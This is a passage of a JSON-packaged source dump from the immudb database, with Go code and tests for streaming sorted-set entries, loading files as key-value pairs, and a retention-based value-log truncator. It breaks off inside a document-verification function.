    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"io\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\n// ParseZEntry ...\nfunc ParseZEntry(\n\tset []byte,\n\tkey []byte,\n\tscore float64,\n\tatTx uint64,\n\tvr io.Reader,\n\tchunkSize int,\n) (*schema.ZEntry, error) {\n\n\tvalue, err := ReadValue(vr, chunkSize)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tentry := schema.Entry{Key: key, Value: value}\n\n\treturn &schema.ZEntry{\n\t\tSet:   set,\n\t\tKey:   key,\n\t\tEntry: &entry,\n\t\tScore: score,\n\t\tAtTx:  atTx,\n\t}, nil\n}\n"
  },
  {
    "path": "pkg/stream/zparser_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"bytes\"\n\t\"io\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestParseZEntry(t *testing.T) {\n\tz, err := ParseZEntry([]byte(`set`), []byte(`key`), 87.4, 1, bytes.NewBuffer([]byte(`reader`)), 4096)\n\trequire.NoError(t, err)\n\trequire.IsType(t, &schema.ZEntry{}, z)\n}\n\nfunc TestParseZEntryErr(t *testing.T) {\n\tz, err := ParseZEntry([]byte(`set`), []byte(`key`), 87.4, 1, bytes.NewBuffer([]byte{}), 4096)\n\trequire.ErrorIs(t, err, io.EOF)\n\trequire.Nil(t, z)\n}\n"
  },
  {
    "path": "pkg/stream/zreceiver.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"io\"\n)\n\ntype zStreamReceiver struct {\n\ts          io.Reader\n\tBufferSize int\n}\n\n// NewZStreamReceiver ...\nfunc NewZStreamReceiver(s io.Reader, bs int) *zStreamReceiver {\n\treturn &zStreamReceiver{\n\t\ts:          s,\n\t\tBufferSize: bs,\n\t}\n}\n\nfunc (zr *zStreamReceiver) Next() ([]byte, []byte, float64, uint64, io.Reader, error) {\n\tris := make([][]byte, 4)\n\tfor i, _ := range ris {\n\t\tr, err := ReadValue(zr.s, zr.BufferSize)\n\t\tif err != nil {\n\t\t\treturn nil, nil, 0, 0, nil, err\n\t\t}\n\t\tris[i] = r\n\t}\n\n\tvar score float64\n\tif err := NumberFromBytes(ris[2], &score); err != nil {\n\t\treturn nil, nil, 0, 0, nil, err\n\t}\n\tvar atTx uint64\n\tif err := NumberFromBytes(ris[3], &atTx); err != nil {\n\t\treturn nil, nil, 0, 0, nil, err\n\t}\n\n\t// for the value, (which can be large), return a Reader and let the caller read it\n\treturn ris[0], ris[1], score, atTx, zr.s, nil\n}\n"
  },
  {
    "path": "pkg/stream/zreceiver_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"bytes\"\n\t\"io\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/stream/streamtest\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestNewZStreamReceiver(t *testing.T) {\n\tr := bytes.NewBuffer([]byte{})\n\tvsr := NewZStreamReceiver(r, 4096)\n\trequire.NotNil(t, vsr)\n}\n\nfunc TestNewZStreamReceiver_Next(t *testing.T) {\n\tatTx, err := NumberToBytes(uint64(67))\n\trequire.NoError(t, err)\n\tscore, err := NumberToBytes(float64(33.5))\n\trequire.NoError(t, err)\n\tme := []*streamtest.MsgError{\n\t\t{M: []byte(`first`), E: io.EOF},\n\t\t{M: []byte(`second`), E: io.EOF},\n\t\t{M: score, E: io.EOF},\n\t\t{M: atTx, E: io.EOF},\n\t}\n\tr := streamtest.DefaultMsgReceiverMock(me)\n\tzsr := NewZStreamReceiver(r, 4096)\n\tset, key, s, tx, vr, err := zsr.Next()\n\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(`first`), set)\n\trequire.Equal(t, []byte(`second`), key)\n\trequire.Equal(t, float64(33.5), s)\n\trequire.NotNil(t, uint64(67), tx)\n\trequire.NotNil(t, vr)\n}\n"
  },
  {
    "path": "pkg/stream/zsender.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"errors\"\n\t\"io\"\n)\n\ntype zStreamSender struct {\n\ts MsgSender\n}\n\n// NewZStreamSender ...\nfunc NewZStreamSender(s MsgSender) *zStreamSender {\n\treturn &zStreamSender{\n\t\ts: s,\n\t}\n}\n\nfunc (st *zStreamSender) Send(ze *ZEntry) error {\n\tfor _, vs := range []*ValueSize{ze.Set, ze.Key, ze.Score, ze.AtTx, ze.Value} {\n\t\terr := st.s.Send(vs.Content, vs.Size, nil)\n\t\tif errors.Is(err, io.EOF) {\n\t\t\treturn st.s.RecvMsg(nil)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/stream/zsender_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"io\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\ntype msgSenderMock struct {\n\tSendF    func(io.Reader, int, map[string][]byte) error\n\tRecvMsgF func(interface{}) error\n}\n\nfunc (msm *msgSenderMock) Send(reader io.Reader, payloadSize int, metadata map[string][]byte) error {\n\treturn msm.SendF(reader, payloadSize, metadata)\n}\nfunc (msm *msgSenderMock) RecvMsg(m interface{}) error {\n\treturn msm.RecvMsgF(m)\n}\n\nfunc TestZSender(t *testing.T) {\n\terrReceiveMsg := errors.New(\"receive msg error\")\n\t// EOF error\n\tmsm := msgSenderMock{\n\t\tSendF:    func(io.Reader, int, map[string][]byte) error { return io.EOF },\n\t\tRecvMsgF: func(interface{}) error { return errReceiveMsg },\n\t}\n\tzss := NewZStreamSender(&msm)\n\n\tset := []byte(\"SomeSet\")\n\tkey := []byte(\"SomeKey\")\n\tvar score float64 = 11\n\tscoreBs, err := NumberToBytes(score)\n\trequire.NoError(t, err)\n\tvar atTx uint64 = 22\n\tatTxBs, err := NumberToBytes(atTx)\n\trequire.NoError(t, err)\n\tvalue := []byte(\"SomeValue\")\n\n\tzEntry := ZEntry{\n\t\tSet:   &ValueSize{Content: bytes.NewReader(set), Size: len(set)},\n\t\tKey:   &ValueSize{Content: bytes.NewReader(key), Size: len(key)},\n\t\tScore: &ValueSize{Content: bytes.NewReader(scoreBs), Size: len(scoreBs)},\n\t\tAtTx:  &ValueSize{Content: bytes.NewReader(atTxBs), Size: len(atTxBs)},\n\t\tValue: &ValueSize{Content: bytes.NewReader(value), Size: len(value)},\n\t}\n\n\terr = zss.Send(&zEntry)\n\trequire.ErrorIs(t, err, errReceiveMsg)\n\n\terrSend := errors.New(\"send error\")\n\t// other error\n\tmsm.SendF = func(io.Reader, int, map[string][]byte) error { return errSend }\n\tmsm.RecvMsgF = func(interface{}) error { return nil }\n\tzss = NewZStreamSender(&msm)\n\terr = zss.Send(&zEntry)\n\trequire.ErrorIs(t, err, errSend)\n\n\t// no error\n\tmsm.SendF = func(io.Reader, int, map[string][]byte) error { return nil }\n\tzss = NewZStreamSender(&msm)\n\terr = zss.Send(&zEntry)\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/streamutils/files.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage streamutils\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"os\"\n\n\t\"github.com/codenotary/immudb/pkg/stream\"\n)\n\n// GetKeyValuesFromFiles returns an array of stream.KeyValue from full file names paths. Each key value is composed by a key that is the file name and a reader of the content of the file, if exists.\n// @todo Michele use only base path to avoid to use  pieces of local file system as key\nfunc GetKeyValuesFromFiles(filenames ...string) ([]*stream.KeyValue, error) {\n\tvar kvs []*stream.KeyValue\n\tfor _, fn := range filenames {\n\t\tfs, err := os.Stat(fn)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tf, err := os.Open(fn)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tkv := &stream.KeyValue{\n\t\t\tKey: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(fn))),\n\t\t\t\tSize:    len([]byte(fn)),\n\t\t\t},\n\t\t\tValue: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(f),\n\t\t\t\tSize:    int(fs.Size()),\n\t\t\t},\n\t\t}\n\t\tkvs = append(kvs, kv)\n\t}\n\treturn kvs, nil\n}\n"
  },
  {
    "path": "pkg/streamutils/files_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage streamutils\n\nimport (\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"syscall\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\t\"golang.org/x/sys/unix\"\n)\n\nfunc TestStreamUtilsFiles(t *testing.T) {\n\ttmpdir := t.TempDir()\n\n\t// stat will fail\n\t_, err := GetKeyValuesFromFiles(filepath.Join(tmpdir, \"non-existant\"))\n\trequire.ErrorIs(t, err, syscall.ENOENT)\n\n\tunreadable := filepath.Join(tmpdir, \"dir\")\n\tos.Mkdir(unreadable, 200)\n\t// open will fail\n\t_, err = GetKeyValuesFromFiles(unreadable)\n\trequire.ErrorIs(t, err, unix.EACCES)\n\n\tvalid := filepath.Join(tmpdir, \"data\")\n\terr = ioutil.WriteFile(valid, []byte(\"content\"), 0644)\n\trequire.NoError(t, err)\n\tkvs, err := GetKeyValuesFromFiles(valid)\n\trequire.NoError(t, err)\n\trequire.Len(t, kvs, 1)\n}\n"
  },
  {
    "path": "pkg/truncator/truncator.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage truncator\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n)\n\nvar (\n\tErrTruncatorAlreadyRunning = errors.New(\"truncator already running\")\n\tErrTruncatorAlreadyStopped = errors.New(\"truncator already stopped\")\n)\n\ntype Truncator struct {\n\tmu sync.Mutex\n\n\ttruncators []database.Truncator // specifies truncators for multiple appendable logs\n\n\thasStarted      bool\n\ttruncationMutex sync.Mutex\n\n\tdb database.DB\n\n\tretentionPeriod     time.Duration\n\ttruncationFrequency time.Duration\n\n\tlogger logger.Logger\n\n\tdonech chan struct{}\n\tstopch chan struct{}\n}\n\nfunc NewTruncator(\n\tdb database.DB,\n\tretentionPeriod time.Duration,\n\ttruncationFrequency time.Duration,\n\tlogger logger.Logger) *Truncator {\n\n\treturn &Truncator{\n\t\tdb:                  db,\n\t\tlogger:              logger,\n\t\ttruncators:          []database.Truncator{database.NewVlogTruncator(db, logger)},\n\t\tdonech:              make(chan struct{}),\n\t\tstopch:              make(chan struct{}),\n\t\tretentionPeriod:     retentionPeriod,\n\t\ttruncationFrequency: truncationFrequency,\n\t}\n}\n\n// runTruncator triggers periodically to truncate multiple appendable logs\nfunc (t *Truncator) Start() error {\n\tt.mu.Lock()\n\tdefer t.mu.Unlock()\n\n\tif t.hasStarted {\n\t\treturn ErrTruncatorAlreadyRunning\n\t}\n\n\tt.hasStarted = true\n\n\tt.logger.Infof(\"starting truncator for database '%s' with retention period '%vs' and truncation frequency '%vs'\", t.db.GetName(), t.retentionPeriod.Seconds(), t.truncationFrequency.Seconds())\n\n\tgo func() {\n\t\tticker := time.NewTicker(t.truncationFrequency)\n\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-t.stopch:\n\t\t\t\tticker.Stop()\n\t\t\t\tt.donech <- struct{}{}\n\t\t\t\treturn\n\t\t\tcase <-ticker.C:\n\t\t\t\terr := t.Truncate(context.Background(), t.retentionPeriod)\n\t\t\t\tif err != nil {\n\t\t\t\t\tt.logger.Errorf(\"failed to truncate database '%s' {ts = %v}\", t.db.GetName(), err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\n\treturn nil\n}\n\nfunc (t *Truncator) Stop() error {\n\tt.mu.Lock()\n\tdefer t.mu.Unlock()\n\n\tif !t.hasStarted {\n\t\treturn ErrTruncatorAlreadyStopped\n\t}\n\n\tt.logger.Infof(\"Stopping truncator of database '%s'...\", t.db.GetName())\n\n\tt.stopch <- struct{}{}\n\t<-t.donech\n\n\tt.hasStarted = false\n\n\tt.logger.Infof(\"Truncator for database '%s' successfully stopped\", t.db.GetName())\n\n\treturn nil\n}\n\n// Truncate discards all data from the database that is older than the retention period.\n// Truncation discards an appendable log upto a given offset\n// before time ts. First, the transaction is fetched which lies\n// before the specified time period, and then the values are\n// discarded upto the specified offset.\n//\n//\t  discard point\n//\t\t\t|\n//\t\t\t|\n//\t\t\tv\n//\n// --------+-------+--------+----------\n//\n//\t\t|       |        |\n//\ttn-1:vx  tn:vx   tn+1:vx\nfunc (t *Truncator) Truncate(ctx context.Context, retentionPeriod time.Duration) error {\n\tt.truncationMutex.Lock()\n\tdefer t.truncationMutex.Unlock()\n\n\t// The timestamp ts is used to determine which transaction onwards the data\n\t// may be deleted from the value-log.\n\t//\n\t// Subtracting a duration from ts will add a buffer for when transactions are\n\t// considered safe for deletion.\n\n\t// Truncate time to the beginning of the day.\n\ttruncationTime := getTruncationTime(time.Now(), retentionPeriod)\n\n\tt.logger.Infof(\"start truncating database '%s' {ts = %v}\", t.db.GetName(), truncationTime)\n\n\tfor _, c := range t.truncators {\n\t\t// Plan determines the transaction header before time period ts. If a\n\t\t// transaction is not found, or if an error occurs fetching the transaction,\n\t\t// then truncation does not run for the specified appendable.\n\t\thdr, err := c.Plan(ctx, truncationTime)\n\t\tif errors.Is(err, database.ErrRetentionPeriodNotReached) {\n\t\t\tt.logger.Infof(\"retention period not reached for truncating database '%s' at {ts = %v}\", t.db.GetName(), truncationTime)\n\t\t}\n\t\tif errors.Is(err, store.ErrTxNotFound) {\n\t\t\tt.logger.Infof(\"no transaction found beyond specified truncation timeframe for database '%s' {reason = %v}\", t.db.GetName(), err)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Truncate discards the appendable log upto the offset\n\t\t// specified in the transaction hdr\n\t\terr = c.TruncateUptoTx(ctx, hdr.Id)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tt.logger.Infof(\"finished truncating database '%s' {ts = %v}\", t.db.GetName(), truncationTime)\n\n\treturn nil\n}\n\n// getTruncationTime returns the timestamp that is used to determine\n// which database transaction up to which the data may be deleted from the value-log.\nfunc getTruncationTime(t time.Time, retentionPeriod time.Duration) time.Time {\n\treturn truncateToDay(t.Add(-1 * retentionPeriod))\n}\n\n// TruncateToDay truncates the time to the beginning of the day.\nfunc truncateToDay(t time.Time) time.Time {\n\treturn time.Date(t.Year(), t.Month(), t.Day(), 0, 0, 0, 0, t.Location())\n}\n"
  },
  {
    "path": "pkg/truncator/truncator_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage truncator\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\t\"reflect\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc makeDbWith(t *testing.T, dbName string, opts *database.Options) database.DB {\n\td, err := database.NewDB(dbName, nil, opts, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\trequire.NoError(t, err)\n\n\tt.Cleanup(func() {\n\t\terr := d.Close()\n\t\tif !t.Failed() {\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t})\n\n\treturn d\n}\n\nfunc TestDatabase_truncate_with_duration(t *testing.T) {\n\toptions := database.DefaultOptions().WithDBRootPath(t.TempDir())\n\n\tso := options.GetStoreOptions()\n\n\tso.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).\n\t\tWithEmbeddedValues(false).\n\t\tWithFileSize(6).\n\t\tWithVLogCacheSize(0).\n\t\tWithSynced(false)\n\toptions.WithStoreOptions(so)\n\n\tctx := context.Background()\n\n\tdb := makeDbWith(t, \"db\", options)\n\n\tt.Run(\"truncate with duration\", func(t *testing.T) {\n\t\tvar queryTime time.Time\n\t\tfor i := 1; i <= 20; i++ {\n\t\t\tkv := &schema.KeyValue{\n\t\t\t\tKey:   []byte(fmt.Sprintf(\"key_%d\", i)),\n\t\t\t\tValue: []byte(fmt.Sprintf(\"val_%d\", i)),\n\t\t\t}\n\t\t\t_, err := db.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{kv}})\n\t\t\trequire.NoError(t, err)\n\t\t\tif i == 10 {\n\t\t\t\tqueryTime = time.Now()\n\t\t\t}\n\t\t}\n\n\t\tc := database.NewVlogTruncator(db, logger.NewMemoryLogger())\n\n\t\t_, err := c.Plan(ctx, getTruncationTime(queryTime, time.Duration(1*time.Hour)))\n\t\trequire.ErrorIs(t, err, database.ErrRetentionPeriodNotReached)\n\n\t\thdr, err := c.Plan(ctx, queryTime)\n\t\trequire.NoError(t, err)\n\t\trequire.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime)\n\n\t\terr = c.TruncateUptoTx(ctx, hdr.Id)\n\t\trequire.NoError(t, err)\n\n\t\t// TODO: hard to determine the actual transaction up to which the database was truncated.\n\t\tfor i := uint64(1); i < 5; i++ {\n\t\t\tkv := &schema.KeyValue{\n\t\t\t\tKey:   []byte(fmt.Sprintf(\"key_%d\", i)),\n\t\t\t\tValue: []byte(fmt.Sprintf(\"val_%d\", i)),\n\t\t\t}\n\n\t\t\t_, err := db.Get(ctx, &schema.KeyRequest{Key: kv.Key})\n\t\t\trequire.Error(t, err)\n\t\t}\n\n\t\tfor i := hdr.Id; i <= 20; i++ {\n\t\t\tkv := &schema.KeyValue{\n\t\t\t\tKey:   []byte(fmt.Sprintf(\"key_%d\", i)),\n\t\t\t\tValue: []byte(fmt.Sprintf(\"val_%d\", i)),\n\t\t\t}\n\n\t\t\titem, err := db.Get(ctx, &schema.KeyRequest{Key: kv.Key})\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, kv.Key, item.Key)\n\t\t\trequire.Equal(t, kv.Value, item.Value)\n\t\t}\n\t})\n}\n\nfunc TestTruncator(t *testing.T) {\n\toptions := database.DefaultOptions().WithDBRootPath(t.TempDir())\n\n\tso := options.GetStoreOptions().\n\t\tWithEmbeddedValues(false)\n\n\tso.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).\n\t\tWithFileSize(6)\n\toptions.WithStoreOptions(so)\n\n\tdb := makeDbWith(t, \"db\", options)\n\ttr := NewTruncator(db, 0, options.TruncationFrequency, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\n\terr := tr.Stop()\n\trequire.ErrorIs(t, err, ErrTruncatorAlreadyStopped)\n\n\terr = tr.Start()\n\trequire.NoError(t, err)\n\n\terr = tr.Start()\n\trequire.ErrorIs(t, err, ErrTruncatorAlreadyRunning)\n\n\terr = tr.Stop()\n\trequire.NoError(t, err)\n}\n\nfunc TestTruncator_with_truncation_frequency(t *testing.T) {\n\toptions := database.DefaultOptions().WithDBRootPath(t.TempDir())\n\n\tso := options.GetStoreOptions().\n\t\tWithEmbeddedValues(false)\n\n\tso.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6)\n\n\toptions.WithStoreOptions(so)\n\n\tdb := makeDbWith(t, \"db\", options)\n\ttr := NewTruncator(db, 0, 10*time.Millisecond, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\n\terr := tr.Start()\n\trequire.NoError(t, err)\n\n\ttime.Sleep(15 * time.Millisecond)\n\n\terr = tr.Stop()\n\trequire.NoError(t, err)\n}\n\nfunc Test_getTruncationTime(t *testing.T) {\n\ttype args struct {\n\t\tts              time.Time\n\t\tretentionPeriod time.Duration\n\t}\n\ttests := []struct {\n\t\tname string\n\t\targs args\n\t\twant time.Time\n\t}{\n\t\t{\n\t\t\targs: args{\n\t\t\t\tts:              time.Date(2020, 1, 1, 10, 20, 30, 40, time.UTC),\n\t\t\t\tretentionPeriod: 24 * time.Hour,\n\t\t\t},\n\t\t\twant: time.Date(2019, 12, 31, 0, 0, 0, 0, time.UTC),\n\t\t},\n\t\t{\n\t\t\targs: args{\n\t\t\t\tts:              time.Date(2020, 1, 2, 10, 20, 30, 40, time.UTC),\n\t\t\t\tretentionPeriod: 24 * time.Hour,\n\t\t\t},\n\t\t\twant: time.Date(2020, 1, 1, 0, 0, 0, 0, time.UTC),\n\t\t},\n\t\t{\n\t\t\targs: args{\n\t\t\t\tts:              time.Date(2020, 1, 1, 11, 20, 30, 40, time.UTC),\n\t\t\t\tretentionPeriod: 0,\n\t\t\t},\n\t\t\twant: time.Date(2020, 1, 1, 0, 0, 0, 0, time.UTC),\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tif got := getTruncationTime(tt.args.ts, tt.args.retentionPeriod); !reflect.DeepEqual(got, tt.want) {\n\t\t\t\tt.Errorf(\"GetRetentionPeriod() = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestTruncator_with_retention_period(t *testing.T) {\n\toptions := database.DefaultOptions().WithDBRootPath(t.TempDir())\n\n\tso := options.GetStoreOptions().\n\t\tWithEmbeddedValues(false)\n\n\tso.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6)\n\toptions.WithStoreOptions(so)\n\n\tdb := makeDbWith(t, \"db\", options)\n\ttr := NewTruncator(db, 25*time.Hour, 5*time.Millisecond, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\n\terr := tr.Start()\n\trequire.NoError(t, err)\n\n\ttime.Sleep(15 * time.Millisecond)\n\n\terr = tr.Truncate(context.Background(), time.Duration(25*time.Hour))\n\trequire.ErrorIs(t, err, database.ErrRetentionPeriodNotReached)\n\n\terr = tr.Stop()\n\trequire.NoError(t, err)\n}\n\ntype mockTruncator struct {\n\terr error\n}\n\nfunc (m *mockTruncator) Plan(context.Context, time.Time) (*schema.TxHeader, error) {\n\treturn nil, m.err\n}\n\n// TruncateUptoTx runs truncation against the relevant appendable logs. Must\n// be called after result of Plan().\nfunc (m *mockTruncator) TruncateUptoTx(context.Context, uint64) error {\n\treturn m.err\n}\n\nfunc TestTruncator_with_nothing_to_truncate(t *testing.T) {\n\toptions := database.DefaultOptions().WithDBRootPath(t.TempDir())\n\n\tso := options.GetStoreOptions().\n\t\tWithEmbeddedValues(false)\n\n\tso.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6)\n\toptions.WithStoreOptions(so)\n\n\tdb := makeDbWith(t, \"db\", options)\n\ttr := NewTruncator(db, 25*time.Hour, 5*time.Millisecond, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\ttr.truncators = []database.Truncator{&mockTruncator{err: store.ErrTxNotFound}}\n\n\terr := tr.Start()\n\trequire.NoError(t, err)\n\n\ttime.Sleep(15 * time.Millisecond)\n\n\terr = tr.Truncate(context.Background(), time.Duration(2*time.Hour))\n\trequire.ErrorIs(t, err, store.ErrTxNotFound)\n\n\terr = tr.Stop()\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/verification/verification.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage verification\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/ecdsa\"\n\t\"crypto/sha256\"\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/embedded/document\"\n\t\"github.com/codenotary/immudb/embedded/htree\"\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/protomodel\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\tstructpb \"github.com/golang/protobuf/ptypes/struct\"\n\t\"google.golang.org/protobuf/proto\"\n)\n\nvar ErrIllegalArguments = store.ErrIllegalArguments\n\nconst documentPrefix = 3 // database.DocumentPrefix\n\nfunc VerifyDocument(ctx context.Context,\n\tproof *protomodel.ProofDocumentResponse,\n\tdoc *structpb.Struct,\n\tknownState *schema.ImmutableState,\n\tserverSigningPubKey *ecdsa.PublicKey,\n) (*schema.ImmutableState, error) {\n\n\tif proof == nil || doc == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tdocID, ok := doc.Fields[proof.DocumentIdFieldName]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"%w: missing field '%s'\", ErrIllegalArguments, proof.DocumentIdFieldName)\n\t}\n\n\tencDocKey, err := encodedKeyForDocument(proof.CollectionId, docID.GetStringValue())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar keyFound int\n\n\tfor _, txEntry := range proof.VerifiableTx.Tx.Entries {\n\t\tif bytes.Equal(txEntry.Key, encDocKey) {\n\t\t\thVal := sha256.Sum256(proof.EncodedDocument)\n\n\t\t\tif 